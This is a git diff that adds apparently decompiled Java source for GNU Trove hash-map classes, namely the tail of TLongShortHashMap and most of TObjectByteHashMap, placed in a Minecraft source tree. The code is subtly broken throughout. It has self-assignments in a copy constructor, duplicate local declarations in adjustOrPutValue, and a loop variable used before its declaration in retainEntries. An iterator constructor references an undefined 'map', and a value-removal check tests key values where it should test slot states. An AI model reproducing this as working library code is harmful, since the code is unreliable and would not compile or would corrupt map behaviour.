+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TLongSet)) {
+        return false;
+      }
+      TLongSet that = (TLongSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TShortCollection
+  {
+    protected TValueView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TLongShortHashMap.TLongShortValueHashIterator(TLongShortHashMap.this, TLongShortHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return values();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      short[] values = _values;
+      long[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0L) && (set[i] != 2L) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongShortHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TLongShortKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TLongShortKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TLongShortValueHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TLongShortValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TLongShortHashIterator
+    extends THashPrimitiveIterator
+    implements TLongShortIterator
+  {
+    TLongShortHashIterator(TLongShortHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public long key()
+    {
+      return _set[_index];
+    }
+    
+    public short value()
+    {
+      return _values[_index];
+    }
+    
+    public short setValue(short val)
+    {
+      short old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TLongShortMap)) {
+      return false;
+    }
+    TLongShortMap that = (TLongShortMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    short[] values = _values;
+    byte[] states = _states;
+    short this_no_entry_value = getNoEntryValue();
+    short that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        long key = _set[i];
+        short that_value = that.get(key);
+        short this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TLongShortProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(long key, short value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeLong(_set[i]);
+        out.writeShort(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      long key = in.readLong();
+      short val = in.readShort();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TObjectByteHashMap.java b/src/minecraft/gnu/trove/map/hash/TObjectByteHashMap.java
new file mode 100644
index 0000000..3980259
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TObjectByteHashMap.java
@@ -0,0 +1,1140 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THash;
+import gnu.trove.impl.hash.TObjectHash;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.iterator.TObjectByteIterator;
+import gnu.trove.iterator.hash.TObjectHashIterator;
+import gnu.trove.map.TObjectByteMap;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TObjectByteProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.lang.reflect.Array;
+import java.util.AbstractSet;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectByteHashMap<K>
+  extends TObjectHash<K>
+  implements TObjectByteMap<K>, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  private final TObjectByteProcedure<K> PUT_ALL_PROC = new TObjectByteProcedure() {
+    public boolean execute(K key, byte value) {
+      put(key, value);
+      return true;
+    }
+  };
+  
+
+
+
+
+  protected transient byte[] _values;
+  
+
+
+
+
+  protected byte no_entry_value;
+  
+
+
+
+
+  public TObjectByteHashMap() {}
+  
+
+
+
+
+  public TObjectByteHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_BYTE_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+  public TObjectByteHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_BYTE_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TObjectByteHashMap(int initialCapacity, float loadFactor, byte noEntryValue)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = noEntryValue;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_values, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TObjectByteHashMap(TObjectByteMap<K> map)
+  {
+    this(map.size(), 0.5F, map.getNoEntryValue());
+    if ((map instanceof TObjectByteHashMap)) {
+      TObjectByteHashMap hashmap = (TObjectByteHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new byte[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    
+    K[] oldKeys = (Object[])_set;
+    byte[] oldVals = _values;
+    
+    _set = new Object[newCapacity];
+    Arrays.fill(_set, FREE);
+    _values = new byte[newCapacity];
+    Arrays.fill(_values, no_entry_value);
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if ((oldKeys[i] != FREE) && (oldKeys[i] != REMOVED)) {
+        K o = oldKeys[i];
+        int index = insertionIndex(o);
+        if (index < 0) {
+          throwObjectContractViolation(_set[(-index - 1)], o);
+        }
+        _set[index] = o;
+        _values[index] = oldVals[i];
+      }
+    }
+  }
+  
+
+
+
+  public byte getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+  public boolean containsKey(Object key)
+  {
+    return contains(key);
+  }
+  
+
+  public boolean containsValue(byte val)
+  {
+    Object[] keys = _set;
+    byte[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public byte get(Object key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+
+
+  public byte put(K key, byte value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public byte putIfAbsent(K key, byte value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+  private byte doPut(K key, byte value, int index)
+  {
+    byte previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    
+    K oldKey = _set[index];
+    _set[index] = key;
+    _values[index] = value;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    return previous;
+  }
+  
+
+  public byte remove(Object key)
+  {
+    byte prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+
+
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+  public void putAll(Map<? extends K, ? extends Byte> map)
+  {
+    Set<? extends Map.Entry<? extends K, ? extends Byte>> set = map.entrySet();
+    for (Map.Entry<? extends K, ? extends Byte> entry : set) {
+      put(entry.getKey(), ((Byte)entry.getValue()).byteValue());
+    }
+  }
+  
+
+  public void putAll(TObjectByteMap<K> map)
+  {
+    map.forEachEntry(PUT_ALL_PROC);
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, FREE);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+  }
+  
+
+
+
+  public Set<K> keySet()
+  {
+    return new KeyView();
+  }
+  
+
+
+  public Object[] keys()
+  {
+    K[] keys = (Object[])new Object[size()];
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public K[] keys(K[] a)
+  {
+    int size = size();
+    if (a.length < size)
+    {
+      a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+    }
+    
+
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        a[(j++)] = k[i];
+      }
+    }
+    return a;
+  }
+  
+
+  public TByteCollection valueCollection()
+  {
+    return new TByteValueCollection();
+  }
+  
+
+  public byte[] values()
+  {
+    byte[] vals = new byte[size()];
+    byte[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public byte[] values(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        array[(j++)] = v[i];
+      }
+    }
+    if (array.length > size) {
+      array[size] = no_entry_value;
+    }
+    return array;
+  }
+  
+
+
+
+  public TObjectByteIterator<K> iterator()
+  {
+    return new TObjectByteHashIterator(this);
+  }
+  
+
+
+
+  public boolean increment(K key)
+  {
+    return adjustValue(key, (byte)1);
+  }
+  
+
+  public boolean adjustValue(K key, byte amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; byte[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((byte)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public byte adjustOrPutValue(K key, byte adjust_amount, byte put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    byte newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; byte[] tmp25_20 = _values;byte newValue = tmp25_20[tmp25_23] = (byte)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+
+    K oldKey = _set[index];
+    _set[index] = key;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    
+    return newValue;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachKey(TObjectProcedure<K> procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachValue(TByteProcedure procedure)
+  {
+    Object[] keys = _set;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(values[i])))
+      {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean forEachEntry(TObjectByteProcedure<K> procedure)
+  {
+    Object[] keys = _set;
+    byte[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+      {
+
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public boolean retainEntries(TObjectByteProcedure<K> procedure)
+  {
+    boolean modified = false;
+    
+    K[] keys = (Object[])_set;
+    byte[] values = _values;
+    
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+        {
+
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+
+
+
+
+  public void transformValues(TByteFunction function)
+  {
+    Object[] keys = _set;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != null) && (keys[i] != REMOVED)) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TObjectByteMap)) {
+      return false;
+    }
+    TObjectByteMap that = (TObjectByteMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    try {
+      TObjectByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        iter.advance();
+        Object key = iter.key();
+        byte value = iter.value();
+        if (value == no_entry_value) {
+          if ((that.get(key) != that.getNoEntryValue()) || (!that.containsKey(key))) {
+            return false;
+          }
+        }
+        else if (value != that.get(key)) {
+          return false;
+        }
+      }
+    }
+    catch (ClassCastException ex) {}
+    
+
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    Object[] keys = _set;
+    byte[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        hashcode += (HashFunctions.hash(values[i]) ^ (keys[i] == null ? 0 : keys[i].hashCode()));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+  protected class KeyView extends TObjectByteHashMap<K>.MapBackedView<K> {
+    protected KeyView() {
+      super(null);
+    }
+    
+    public Iterator<K> iterator() {
+      return new TObjectHashIterator(TObjectByteHashMap.this);
+    }
+    
+    public boolean removeElement(K key) {
+      return no_entry_value != remove(key);
+    }
+    
+    public boolean containsElement(K key) {
+      return contains(key);
+    }
+  }
+  
+  private abstract class MapBackedView<E> extends AbstractSet<E> implements Set<E>, Iterable<E>
+  {
+    private MapBackedView() {}
+    
+    public abstract boolean removeElement(E paramE);
+    
+    public abstract boolean containsElement(E paramE);
+    
+    public boolean contains(Object key)
+    {
+      return containsElement(key);
+    }
+    
+    public boolean remove(Object o)
+    {
+      return removeElement(o);
+    }
+    
+    public void clear() {
+      TObjectByteHashMap.this.clear();
+    }
+    
+    public boolean add(E obj) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int size() {
+      return TObjectByteHashMap.this.size();
+    }
+    
+    public Object[] toArray() {
+      Object[] result = new Object[size()];
+      Iterator<E> e = iterator();
+      for (int i = 0; e.hasNext(); i++) {
+        result[i] = e.next();
+      }
+      return result;
+    }
+    
+    public <T> T[] toArray(T[] a) {
+      int size = size();
+      if (a.length < size)
+      {
+        a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+      }
+      
+      Iterator<E> it = iterator();
+      Object[] result = a;
+      for (int i = 0; i < size; i++) {
+        result[i] = it.next();
+      }
+      
+      if (a.length > size) {
+        a[size] = null;
+      }
+      
+      return a;
+    }
+    
+    public boolean isEmpty() {
+      return TObjectByteHashMap.this.isEmpty();
+    }
+    
+    public boolean addAll(Collection<? extends E> collection) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      Iterator<E> i = iterator();
+      while (i.hasNext()) {
+        if (!collection.contains(i.next())) {
+          i.remove();
+          changed = true;
+        }
+      }
+      return changed;
+    }
+  }
+  
+  class TByteValueCollection implements TByteCollection
+  {
+    TByteValueCollection() {}
+    
+    public TByteIterator iterator() {
+      return new TObjectByteValueHashIterator();
+    }
+    
+    public byte getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+    public int size()
+    {
+      return _size;
+    }
+    
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+    public boolean contains(byte entry)
+    {
+      return containsValue(entry);
+    }
+    
+    public byte[] toArray()
+    {
+      return values();
+    }
+    
+    public byte[] toArray(byte[] dest)
+    {
+      return values(dest);
+    }
+    
+    public boolean add(byte entry) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean remove(byte entry)
+    {
+      byte[] values = _values;
+      Object[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] values = _values;
+      
+      Object[] set = _set;
+      for (int i = set.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (Arrays.binarySearch(array, values[i]) < 0))
+        {
+
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public void clear()
+    {
+      TObjectByteHashMap.this.clear();
+    }
+    
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+    
+    class TObjectByteValueHashIterator
+      implements TByteIterator
+    {
+      protected THash _hash = TObjectByteHashMap.this;
+      
+
+
+      protected int _expectedSize;
+      
+
+      protected int _index;
+      
+
+
+      TObjectByteValueHashIterator()
+      {
+        _expectedSize = _hash.size();
+        _index = _hash.capacity();
+      }
+      
+      public boolean hasNext()
+      {
+        return nextIndex() >= 0;
+      }
+      
+      public byte next()
+      {
+        moveToNextIndex();
+        return _values[_index];
+      }
+      
+      public void remove()
+      {
+        if (_expectedSize != _hash.size()) {
+          throw new ConcurrentModificationException();
+        }
+        
+        try
+        {
+          _hash.tempDisableAutoCompaction();
+          removeAt(_index);
+        }
+        finally {
+          _hash.reenableAutoCompaction(false);
+        }
+        
+        _expectedSize -= 1;
+      }
+      
+
+
+
+
+
+      protected final void moveToNextIndex()
+      {
+        if ((this._index = nextIndex()) < 0) {
+          throw new NoSuchElementException();
+        }
+      }
+      
+
+
+
+
+
+
+
+
+
+      protected final int nextIndex()
+      {
+        if (_expectedSize != _hash.size()) {
+          throw new ConcurrentModificationException();
+        }
+        
+        Object[] set = _set;
+        int i = _index;
+        while ((i-- > 0) && ((set[i] == TObjectHash.FREE) || (set[i] == TObjectHash.REMOVED))) {}
+        
+
+        return i;
+      }
+    }
+  }
+  
+  class TObjectByteHashIterator<K>
+    extends TObjectHashIterator<K>
+    implements TObjectByteIterator<K>
+  {
+    private final TObjectByteHashMap<K> _map;
+    
+    public TObjectByteHashIterator()
+    {
+      super();
+      _map = map;
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+
+    public K key()
+    {
+      return _map._set[_index];
+    }
+    
+    public byte value()
+    {
+      return _map._values[_index];
+    }
+    
+    public byte setValue(byte val)
+    {
+      byte old = value();
+      _map._values[_index] = val;
+      return old;
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeByte(no_entry_value);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _set.length; i-- > 0;) {
+      if ((_set[i] != REMOVED) && (_set[i] != FREE)) {
+        out.writeObject(_set[i]);
+        out.writeByte(_values[i]);
+      }
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_value = in.readByte();
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0)
+    {
+      K key = in.readObject();
+      byte val = in.readByte();
+      put(key, val);
+    }
+  }
+  
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TObjectByteProcedure() {
+      private boolean first = true;
+      
